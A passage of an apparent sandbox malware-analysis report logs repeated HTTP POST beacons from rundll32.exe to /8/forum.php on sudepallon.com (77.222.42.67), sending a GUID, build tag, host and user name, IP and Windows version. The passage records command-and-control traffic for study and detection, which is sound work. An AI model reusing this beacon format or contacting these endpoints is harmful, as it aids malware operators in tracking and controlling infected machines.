Jul 9, 2021 03:08:45.133434057 CEST	485	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4e 4d 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNNMMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.22	49336	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:45.420052052 CEST	486	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:45.489422083 CEST	486	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 42 59 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFBYUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.22	49337	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:45.761843920 CEST	487	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:45.827435970 CEST	487	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 51 4a 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTQJGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.22	49338	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:46.103126049 CEST	488	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:46.170032024 CEST	488	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4e 4d 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJNMQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.22	49339	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:46.449706078 CEST	489	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:46.516992092 CEST	490	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4e 4d 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYNMBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.22	49340	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:46.795248032 CEST	490	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:46.862490892 CEST	491	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.22	49341	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:47.130119085 CEST	492	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:47.195389032 CEST	492	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4b 50 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTKPGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.22	49342	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:47.483589888 CEST	493	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:47.550775051 CEST	493	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4a 51 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKJQPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.22	49343	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:47.841711044 CEST	494	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:47.906724930 CEST	494	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4d 4e 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYMNBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.22	49344	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:48.178498983 CEST	495	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:48.247699022 CEST	495	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 41 5a 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTAZGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49183	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:48.095032930 CEST	314	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:48.165807009 CEST	314	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4d 4e 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQMNJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.22	49345	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:48.519948006 CEST	496	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:48.590415001 CEST	496	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 48 53 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMHSNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.22	49346	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:48.871666908 CEST	497	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:48.938519001 CEST	498	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4d 4e 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMMNNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.22	49347	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:49.210249901 CEST	498	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:49.279176950 CEST	499	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 5a 41 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKZAPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.22	49348	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:49.631084919 CEST	500	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:49.699392080 CEST	500	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4a 51 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKJQPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.22	49349	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:49.977802992 CEST	501	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:50.049772978 CEST	501	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4e 4d 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cANMZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.22	49350	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:50.794255018 CEST	502	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:50.863698959 CEST	502	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4b 50 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVKPEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.22	49351	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:51.152448893 CEST	503	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:51.223366022 CEST	503	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4a 51 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZJQAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.22	49352	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:51.851660967 CEST	504	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:51.917967081 CEST	504	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 43 58 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQCXJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.22	49353	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
